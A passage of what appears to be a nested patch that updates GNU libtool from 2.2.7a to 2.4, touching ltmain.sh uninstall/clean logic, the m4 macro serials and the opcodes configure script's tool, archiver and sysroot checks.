-- # Remember objdir for removal later, being careful to avoid duplicates
-- if test "$mode" = clean; then
-+ # Remember odir for removal later, being careful to avoid duplicates
-+ if test "$opt_mode" = clean; then
- case " $rmdirs " in
-- *" $objdir "*) ;;
-- *) rmdirs="$rmdirs $objdir" ;;
-+ *" $odir "*) ;;
-+ *) func_append rmdirs " $odir" ;;
- esac
- fi
-
-@@ -8486,18 +9499,17 @@ func_mode_uninstall ()
-
- # Delete the libtool libraries and symlinks.
- for n in $library_names; do
-- rmfiles="$rmfiles $objdir/$n"
-+ func_append rmfiles " $odir/$n"
- done
-- test -n "$old_library" && rmfiles="$rmfiles $objdir/$old_library"
-+ test -n "$old_library" && func_append rmfiles " $odir/$old_library"
-
-- case "$mode" in
-+ case "$opt_mode" in
- clean)
-- case " $library_names " in
-- # " " in the beginning catches empty $dlname
-+ case " $library_names " in
- *" $dlname "*) ;;
-- *) rmfiles="$rmfiles $objdir/$dlname" ;;
-+ *) test -n "$dlname" && func_append rmfiles " $odir/$dlname" ;;
- esac
-- test -n "$libdir" && rmfiles="$rmfiles $objdir/$name $objdir/${name}i"
-+ test -n "$libdir" && func_append rmfiles " $odir/$name $odir/${name}i"
- ;;
- uninstall)
- if test -n "$library_names"; then
-@@ -8525,19 +9537,19 @@ func_mode_uninstall ()
- # Add PIC object to the list of files to remove.
- if test -n "$pic_object" &&
- test "$pic_object" != none; then
-- rmfiles="$rmfiles $dir/$pic_object"
-+ func_append rmfiles " $dir/$pic_object"
- fi
-
- # Add non-PIC object to the list of files to remove.
- if test -n "$non_pic_object" &&
- test "$non_pic_object" != none; then
-- rmfiles="$rmfiles $dir/$non_pic_object"
-+ func_append rmfiles " $dir/$non_pic_object"
- fi
- fi
- ;;
-
- *)
-- if test "$mode" = clean ; then
-+ if test "$opt_mode" = clean ; then
- noexename=$name
- case $file in
- *.exe)
-@@ -8547,7 +9559,7 @@ func_mode_uninstall ()
- noexename=$func_stripname_result
- # $file with .exe has already been added to rmfiles,
- # add $file without .exe
-- rmfiles="$rmfiles $file"
-+ func_append rmfiles " $file"
- ;;
- esac
- # Do a test to see if this is a libtool program.
-@@ -8556,7 +9568,7 @@ func_mode_uninstall ()
- func_ltwrapper_scriptname "$file"
- relink_command=
- func_source $func_ltwrapper_scriptname_result
-- rmfiles="$rmfiles $func_ltwrapper_scriptname_result"
-+ func_append rmfiles " $func_ltwrapper_scriptname_result"
- else
- relink_command=
- func_source $dir/$noexename
-@@ -8564,12 +9576,12 @@ func_mode_uninstall ()
-
- # note $name still contains .exe if it was in $file originally
- # as does the version of $file that was added into $rmfiles
-- rmfiles="$rmfiles $objdir/$name $objdir/${name}S.${objext}"
-+ func_append rmfiles " $odir/$name $odir/${name}S.${objext}"
- if test "$fast_install" = yes && test -n "$relink_command"; then
-- rmfiles="$rmfiles $objdir/lt-$name"
-+ func_append rmfiles " $odir/lt-$name"
- fi
- if test "X$noexename" != "X$name" ; then
-- rmfiles="$rmfiles $objdir/lt-${noexename}.c"
-+ func_append rmfiles " $odir/lt-${noexename}.c"
- fi
- fi
- fi
-@@ -8577,7 +9589,6 @@ func_mode_uninstall ()
- esac
- func_show_eval "$RM $rmfiles" 'exit_status=1'
- done
-- objdir="$origobjdir"
-
- # Try to remove the ${objdir}s in the directories where we deleted files
- for dir in $rmdirs; do
-@@ -8589,16 +9600,16 @@ func_mode_uninstall ()
- exit $exit_status
- }
-
--{ test "$mode" = uninstall || test "$mode" = clean; } &&
-+{ test "$opt_mode" = uninstall || test "$opt_mode" = clean; } &&
- func_mode_uninstall ${1+"$@"}
-
--test -z "$mode" && {
-+test -z "$opt_mode" && {
- help="$generic_help"
- func_fatal_help "you must specify a MODE"
- }
-
- test -z "$exec_cmd" && \
-- func_fatal_help "invalid operation mode \`$mode'"
-+ func_fatal_help "invalid operation mode \`$opt_mode'"
-
- if test -n "$exec_cmd"; then
- eval exec "$exec_cmd"
-diff --git a/ltoptions.m4 b/ltoptions.m4
-index 5ef12ced2a..17cfd51c0b 100644
---- a/ltoptions.m4
-+++ b/ltoptions.m4
-@@ -8,7 +8,7 @@
- # unlimited permission to copy and/or distribute it, with or without
- # modifications, as long as this notice is preserved.
-
--# serial 6 ltoptions.m4
-+# serial 7 ltoptions.m4
-
- # This is to help aclocal find these macros, as it can't see m4_define.
- AC_DEFUN([LTOPTIONS_VERSION], [m4_if([1])])
-diff --git a/ltversion.m4 b/ltversion.m4
-index bf87f77132..9c7b5d4118 100644
---- a/ltversion.m4
-+++ b/ltversion.m4
-@@ -7,17 +7,17 @@
- # unlimited permission to copy and/or distribute it, with or without
- # modifications, as long as this notice is preserved.
-
--# Generated from ltversion.in.
-+# @configure_input@
-
--# serial 3134 ltversion.m4
-+# serial 3293 ltversion.m4
- # This file is part of GNU Libtool
-
--m4_define([LT_PACKAGE_VERSION], [2.2.7a])
--m4_define([LT_PACKAGE_REVISION], [1.3134])
-+m4_define([LT_PACKAGE_VERSION], [2.4])
-+m4_define([LT_PACKAGE_REVISION], [1.3293])
-
- AC_DEFUN([LTVERSION_VERSION],
--[macro_version='2.2.7a'
--macro_revision='1.3134'
-+[macro_version='2.4'
-+macro_revision='1.3293'
- _LT_DECL(, macro_version, 0, [Which release of libtool.m4 was used?])
- _LT_DECL(, macro_revision, 0)
- ])
-diff --git a/lt~obsolete.m4 b/lt~obsolete.m4
-index bf92b5e079..c573da90c5 100644
---- a/lt~obsolete.m4
-+++ b/lt~obsolete.m4
-@@ -7,7 +7,7 @@
- # unlimited permission to copy and/or distribute it, with or without
- # modifications, as long as this notice is preserved.
-
--# serial 4 lt~obsolete.m4
-+# serial 5 lt~obsolete.m4
-
- # These exist entirely to fool aclocal when bootstrapping libtool.
- #
-diff --git a/opcodes/configure b/opcodes/configure
-index 853849ee58..5f74ecf7da 100755
---- a/opcodes/configure
-+++ b/opcodes/configure
-@@ -680,6 +680,9 @@ OTOOL
- LIPO
- NMEDIT
- DSYMUTIL
-+MANIFEST_TOOL
-+ac_ct_AR
-+DLLTOOL
- OBJDUMP
- LN_S
- NM
-@@ -798,6 +801,7 @@ enable_static
- with_pic
- enable_fast_install
- with_gnu_ld
-+with_libtool_sysroot
- enable_libtool_lock
- enable_targets
- enable_werror
-@@ -1462,6 +1466,8 @@ Optional Packages:
- --with-pic try to use only PIC/non-PIC objects [default=use
- both]
- --with-gnu-ld assume the C compiler uses GNU ld [default=no]
-+ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).
-
- Some influential environment variables:
- CC C compiler command
-@@ -5403,8 +5409,8 @@ esac
-
-
-
--macro_version='2.2.7a'
--macro_revision='1.3134'
-+macro_version='2.4'
-+macro_revision='1.3293'
-
-
-
-@@ -5444,7 +5450,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
- $as_echo_n "checking how to print strings... " >&6; }
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6130,8 +6136,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -6180,6 +6186,80 @@ esac
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
-+$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
-+if ${lt_cv_to_host_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
-+ ;;
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
-+ ;;
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+
-+fi
-+
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
-+$as_echo "$lt_cv_to_host_file_cmd" >&6; }
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
-+$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
-+if ${lt_cv_to_tool_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ #assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
-+
-+fi
-+
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
-+$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
-+
-+
-+
-+
-+
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
- $as_echo_n "checking for $LD option to reload object files... " >&6; }
- if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6196,6 +6276,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6364,7 +6449,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -6518,6 +6604,21 @@ esac
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
- $as_echo "$lt_cv_deplibs_check_method" >&6; }
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6531,11 +6632,164 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-
-
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
-+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$DLLTOOL"; then
-+ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+DLLTOOL=$ac_cv_prog_DLLTOOL
-+if test -n "$DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-+$as_echo "$DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_DLLTOOL"; then
-+ ac_ct_DLLTOOL=$DLLTOOL
-+ # Extract the first word of "dlltool", so it can be a program name with args.
-+set dummy dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_DLLTOOL"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-+if test -n "$ac_ct_DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-+$as_echo "$ac_ct_DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_DLLTOOL" = x; then
-+ DLLTOOL="false"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ DLLTOOL=$ac_ct_DLLTOOL
-+ fi
-+else
-+ DLLTOOL="$ac_cv_prog_DLLTOOL"
-+fi
-+
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
-+$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
-+if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
-+$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+
-+
-+
-+
-+
-+
-+if test -n "$ac_tool_prefix"; then
-+ for ac_prog in ar
-+ do
-+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
-+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_AR+:} false; then :
-@@ -6551,7 +6805,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_AR="${ac_tool_prefix}ar"
-+ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6571,11 +6825,15 @@ $as_echo "no" >&6; }
- fi
-
-
-+ test -n "$AR" && break
-+ done
- fi
--if test -z "$ac_cv_prog_AR"; then
-+if test -z "$AR"; then
- ac_ct_AR=$AR
-- # Extract the first word of "ar", so it can be a program name with args.
--set dummy ar; ac_word=$2
-+ for ac_prog in ar
-+do
-+ # Extract the first word of "$ac_prog", so it can be a program name with args.
-+set dummy $ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6591,7 +6849,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_ac_ct_AR="ar"
-+ ac_cv_prog_ac_ct_AR="$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6610,6 +6868,10 @@ else
- $as_echo "no" >&6; }
- fi
-
-+
-+ test -n "$ac_ct_AR" && break
-+done
-+
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
-@@ -6621,16 +6883,72 @@ ac_tool_warned=yes ;;
- esac
- AR=$ac_ct_AR
- fi
--else
-- AR="$ac_cv_prog_AR"
- fi
-
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
-+$as_echo_n "checking for archiver @FILE support... " >&6; }
-+if ${lt_cv_ar_at_file+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_ar_at_file=no
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+/* end confdefs.h. */
-+
-+int
-+main ()
-+{
-
-+ ;
-+ return 0;
-+}
-+_ACEOF
-+if ac_fn_c_try_compile "$LINENO"; then :
-+ echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
-+$as_echo "$lt_cv_ar_at_file" >&6; }
-
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-
-
-
-@@ -6972,8 +7290,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -7009,6 +7327,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -7050,6 +7369,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -7061,7 +7392,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -7087,8 +7418,8 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -7098,8 +7429,8 @@ _LT_EOF
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
-@@ -7136,6 +7467,16 @@ else
- $as_echo "ok" >&6; }
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
-+
-+
-+
-
-
-
-@@ -7152,6 +7493,45 @@ fi
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
-+$as_echo_n "checking for sysroot... " >&6; }
-+
-+# Check whether --with-libtool-sysroot was given.
-+if test "${with_libtool_sysroot+set}" = set; then :
-+ withval=$with_libtool_sysroot;
-+else
-+ with_libtool_sysroot=no
-+fi
-+
-+
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
-+$as_echo "${with_libtool_sysroot}" >&6; }
-+ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
-+ ;;
-+esac
-+
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
-+$as_echo "${lt_sysroot:-no}" >&6; }
-
-
-
-@@ -7363,6 +7743,123 @@ esac
-
- need_locks="$enable_libtool_lock"
-
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$MANIFEST_TOOL"; then
-+ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
-+if test -n "$MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
-+$as_echo "$MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
-+ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
-+ # Extract the first word of "mt", so it can be a program name with args.
-+set dummy mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_MANIFEST_TOOL"; then
